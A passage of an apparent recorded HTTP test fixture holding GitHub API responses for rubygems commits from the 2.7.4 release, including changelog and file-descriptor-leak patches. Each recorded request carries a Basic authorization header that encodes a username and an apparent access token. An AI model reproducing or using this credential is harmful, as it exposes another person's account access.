Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T00:40:59Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T00:40:59Z"},"message":"Merge tag ''v2.7.4''","tree":{"sha":"17321eaf906e0a990a7e7b258dc1d9857bf1e85a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/17321eaf906e0a990a7e7b258dc1d9857bf1e85a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bf6853f99c423724a691ffa545b562569845e6fa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpBmpwACgkQ+c8TQXJk\n+sICKAf8C3Y0XCeF2JeTJhHJxETiP4Lh32gyNr4bC4jmE7NRYnHM0mJNUg1XG8sF\nQw5+iaReBW3zJLl8xWUSThqhZV4WRWmQZMKUzZPU1xLVk5pLUkUb6b6PcHnGzedF\nMzsxS7zCbxk9Akiub36vVl7PapbSamwDo3TeCJ8nraBLDIi7RffDRwE8ojjPhG5x\nHPYXU8Z+VvKuyNVSNvFMd1ewnlj3SgZGVorRV8Awg6IOO3sIzhMMg9V2B193cdfW\nA6eoHLcuQohvnHiLRg82pAy94jqIx7xBdgqNnHcmo8t2iCzMYSrKxMqBRCb1NTQs\nIKyLRpuzj/Dm3rJBS7YsAFyIjl/1/A==\n=lwp6\n-----END PGP SIGNATURE-----","payload":"tree 17321eaf906e0a990a7e7b258dc1d9857bf1e85a\nparent 2c223c57d1a2c69335bc02595ad6434efaba7156\nparent ee01b385e34da5f8894f31490d2901c6319ced29\nauthor SHIBATA Hiroshi 1514248859 +0900\ncommitter SHIBATA Hiroshi 1514248859 +0900\n\nMerge tag ''v2.7.4''\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa","html_url":"https://github.com/rubygems/rubygems/commit/bf6853f99c423724a691ffa545b562569845e6fa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"2c223c57d1a2c69335bc02595ad6434efaba7156","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156","html_url":"https://github.com/rubygems/rubygems/commit/2c223c57d1a2c69335bc02595ad6434efaba7156"},{"sha":"ee01b385e34da5f8894f31490d2901c6319ced29","url":"https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29","html_url":"https://github.com/rubygems/rubygems/commit/ee01b385e34da5f8894f31490d2901c6319ced29"}],"stats":{"total":13,"additions":12,"deletions":1},"files":[{"sha":"0e0033d67e36c0aecff2bd84422c0d6eadb41096","filename":"History.txt","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/bf6853f99c423724a691ffa545b562569845e6fa/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/bf6853f99c423724a691ffa545b562569845e6fa/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=bf6853f99c423724a691ffa545b562569845e6fa","patch":"@@ -1,5 +1,16 @@\n # coding: UTF-8\n \n+=== 2.7.4\n+\n+Bug fixes:\n+\n+* Fixed leaked FDs. Pull request #2127 by Nobuyoshi Nakada.\n+* Avoid to warnings about gemspec loadings in rubygems tests. Pull request\n+ #2125 by SHIBATA Hiroshi.\n+* Fix updater with rubygems-2.7.3 Pull request #2124 by SHIBATA Hiroshi.\n+* Handle environment that does not have `flock` system call. Pull request\n+ #2107 by SHIBATA Hiroshi.\n+\n === 2.7.3\n \n Minor enhancements:"},{"sha":"9ddf9139b74ccb47b8923e00fcadc00a5953d716","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/bf6853f99c423724a691ffa545b562569845e6fa/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/bf6853f99c423724a691ffa545b562569845e6fa/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=bf6853f99c423724a691ffa545b562569845e6fa","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.3\"\n+ VERSION = \"2.7.4\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:38 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4595' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"df07407f6cbd7196de3187cd00267c59" Last-Modified: - Mon, 25 Dec 2017 08:47:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056741' X-Github-Request-Id: - A184:4D95:F4797F:1C82E38:5A50E45B body: encoding: ASCII-8BIT string: '{"sha":"ee01b385e34da5f8894f31490d2901c6319ced29","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:47:13Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:47:13Z"},"message":"History","tree":{"sha":"5d64f58833ad5b949fda448e235cc422541a2886","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5d64f58833ad5b949fda448e235cc422541a2886"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ee01b385e34da5f8894f31490d2901c6319ced29","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAuxEACgkQ+c8TQXJk\n+sL1lQf/U4zG9NKk4jeuKUjKnIuPIy3dw0bv3xkvvO2q9BecnleoUOHrrxd2vcfX\nIvmaAJXqBxAqWNp983RYeoRQpMWkCXC8ZnxqY9dEkQZqqIYup/qyLJs7xFHXaoNv\n7pYpgSbDcpegIoTD3BfyRmT5jfrWWcQIjhRziOCq8uJ6GWcE4CeHxnjG/suQnYRY\n+SGR3/jzWhCY0XOG0zN9jECKtguFhVaNyNVOors0IjwX7NP0FYENuBbOc/BcQZRE\n6ULT3V3e8EVlAeCQ0WdmOzbY/qwXkjtQcSMjSZVuf8+uTgVhp3Z3JIWtmBi0+8uq\nIyJK2eRxLotfd56XSSACJ1+k6aWxXw==\n=031f\n-----END PGP SIGNATURE-----","payload":"tree 5d64f58833ad5b949fda448e235cc422541a2886\nparent 8944a6222426aec04863585ad9ad734c8c288e87\nauthor SHIBATA Hiroshi 1514191633 +0900\ncommitter SHIBATA Hiroshi 1514191633 +0900\n\nHistory\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29","html_url":"https://github.com/rubygems/rubygems/commit/ee01b385e34da5f8894f31490d2901c6319ced29","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"8944a6222426aec04863585ad9ad734c8c288e87","url":"https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87","html_url":"https://github.com/rubygems/rubygems/commit/8944a6222426aec04863585ad9ad734c8c288e87"}],"stats":{"total":11,"additions":11,"deletions":0},"files":[{"sha":"0e0033d67e36c0aecff2bd84422c0d6eadb41096","filename":"History.txt","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/ee01b385e34da5f8894f31490d2901c6319ced29/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/ee01b385e34da5f8894f31490d2901c6319ced29/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=ee01b385e34da5f8894f31490d2901c6319ced29","patch":"@@ -1,5 +1,16 @@\n # coding: UTF-8\n \n+=== 2.7.4\n+\n+Bug fixes:\n+\n+* Fixed leaked FDs. Pull request #2127 by Nobuyoshi Nakada.\n+* Avoid to warnings about gemspec loadings in rubygems tests. Pull request\n+ #2125 by SHIBATA Hiroshi.\n+* Fix updater with rubygems-2.7.3 Pull request #2124 by SHIBATA Hiroshi.\n+* Handle environment that does not have `flock` system call. Pull request\n+ #2107 by SHIBATA Hiroshi.\n+\n === 2.7.3\n \n Minor enhancements:"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:39 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4594' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a172088f43a363b1d93aa5460ff96d18" Last-Modified: - Mon, 25 Dec 2017 08:41:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046286' X-Github-Request-Id: - C456:4D97:9034B3:1C46C5D:5A50E45B body: encoding: ASCII-8BIT string: '{"sha":"8944a6222426aec04863585ad9ad734c8c288e87","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:41:42Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:41:42Z"},"message":"Set to release version","tree":{"sha":"83904460eba5e531ef5bf664a505e7992ec78d74","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/83904460eba5e531ef5bf664a505e7992ec78d74"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8944a6222426aec04863585ad9ad734c8c288e87","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAucYACgkQ+c8TQXJk\n+sK3zAf9GVHCuUsQOsTu2mTIOko8ECKOOcTwVJTJQyQCYMdIpfzZRrLZAZrOaP8r\nwGhP8ELro6i5IrXfpmNlQpov8c4sYVgiZB+PmSH7B9W2TzFnaHOwXgKz9VBYJ5oQ\n6sEAPWqdA/2+H1erLczDgD75Fga9nGbgg1TOhQP0p8ggcdGK4eZbB+JtJTPrSolE\nxqEedDIyIhhSTTj8G43Eo/ioHF27QOpCqYuwkEEODb3EcPbU1KEqRugTlS8Ch9Y1\nHMI3exE5c+xT6/F7Qbt1RirIUd/5syi5P+wjUlB6MpN/N4fhbJ0gUbH+Bf4W5mbd\naNqwCdmr2aSruJEdi6sKJZFYI6/H4g==\n=Jl5b\n-----END PGP SIGNATURE-----","payload":"tree 83904460eba5e531ef5bf664a505e7992ec78d74\nparent 21face18669e87790340a0acd95513bc0669f405\nauthor SHIBATA Hiroshi 1514191302 +0900\ncommitter SHIBATA Hiroshi 1514191302 +0900\n\nSet to release version\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87","html_url":"https://github.com/rubygems/rubygems/commit/8944a6222426aec04863585ad9ad734c8c288e87","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"21face18669e87790340a0acd95513bc0669f405","url":"https://api.github.com/repos/rubygems/rubygems/commits/21face18669e87790340a0acd95513bc0669f405","html_url":"https://github.com/rubygems/rubygems/commit/21face18669e87790340a0acd95513bc0669f405"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"9ddf9139b74ccb47b8923e00fcadc00a5953d716","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/8944a6222426aec04863585ad9ad734c8c288e87/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8944a6222426aec04863585ad9ad734c8c288e87/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=8944a6222426aec04863585ad9ad734c8c288e87","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.4.pre1\"\n+ VERSION = \"2.7.4\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:39 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4593' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"aa5bc2b6de9f01b5feef32dcb1d58569" Last-Modified: - Mon, 25 Dec 2017 06:53:18 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040429' X-Github-Request-Id: - C458:4D95:F47993:1C82E60:5A50E45B body: encoding: ASCII-8BIT string: '{"sha":"2c223c57d1a2c69335bc02595ad6434efaba7156","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-25T06:53:18Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-25T06:53:18Z"},"message":"Auto merge of #2127 - nobu:bug/leaked-fds, r=segiddins\n\nFixed leaked FDs\n\n# Description:\n\nRuby CIs have shown leaked FDs messages for a long time, because `Gem::Command#invoke_with_build_args` creates `SilentUI` and leaves it unclosed.\nThe global states should be restored.\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"17b2925b206698fb07fccdff0782c3c8834510bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/17b2925b206698fb07fccdff0782c3c8834510bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c223c57d1a2c69335bc02595ad6434efaba7156","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156","html_url":"https://github.com/rubygems/rubygems/commit/2c223c57d1a2c69335bc02595ad6434efaba7156","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ff986d4950ab3ae2748c2627d780438c72954616","url":"https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616","html_url":"https://github.com/rubygems/rubygems/commit/ff986d4950ab3ae2748c2627d780438c72954616"},{"sha":"b1c4eb733bb64f38b7acb774082c81cf21e99a0b","url":"https://api.github.com/repos/rubygems/rubygems/commits/b1c4eb733bb64f38b7acb774082c81cf21e99a0b","html_url":"https://github.com/rubygems/rubygems/commit/b1c4eb733bb64f38b7acb774082c81cf21e99a0b"}],"stats":{"total":10,"additions":9,"deletions":1},"files":[{"sha":"71199c59b4fc44f5815c6f493a0a7c23cc617a79","filename":"lib/rubygems/command.rb","status":"modified","additions":9,"deletions":1,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/2c223c57d1a2c69335bc02595ad6434efaba7156/lib/rubygems/command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/2c223c57d1a2c69335bc02595ad6434efaba7156/lib/rubygems/command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command.rb?ref=2c223c57d1a2c69335bc02595ad6434efaba7156","patch":"@@ -308,7 +308,10 @@ def invoke_with_build_args(args, build_args)\n \n options[:build_args] = build_args\n \n- self.ui = Gem::SilentUI.new if options[:silent]\n+ if options[:silent]\n+ old_ui = self.ui\n+ self.ui = ui = Gem::SilentUI.new\n+ end\n \n if options[:help] then\n show_help\n@@ -317,6 +320,11 @@ def invoke_with_build_args(args, build_args)\n else\n execute\n end\n+ ensure\n+ if ui\n+ self.ui = old_ui\n+ ui.close\n+ end\n end\n \n ##"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:39 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4592' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ce65c4dd720edf5e46ff3eb693d17183" Last-Modified: - Mon, 25 Dec 2017 06:46:10 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041211' X-Github-Request-Id: - C45A:4D95:F4799D:1C82E70:5A50E45B body: encoding: ASCII-8BIT string: '{"sha":"ff986d4950ab3ae2748c2627d780438c72954616","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:46:10Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:46:10Z"},"message":"Revert \"Set to next release version\"\n\nThis reverts commit eaf298602f914ae9844ac10330fc1b6c8a5ef0bd.","tree":{"sha":"c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ff986d4950ab3ae2748c2627d780438c72954616","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616","html_url":"https://github.com/rubygems/rubygems/commit/ff986d4950ab3ae2748c2627d780438c72954616","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https:/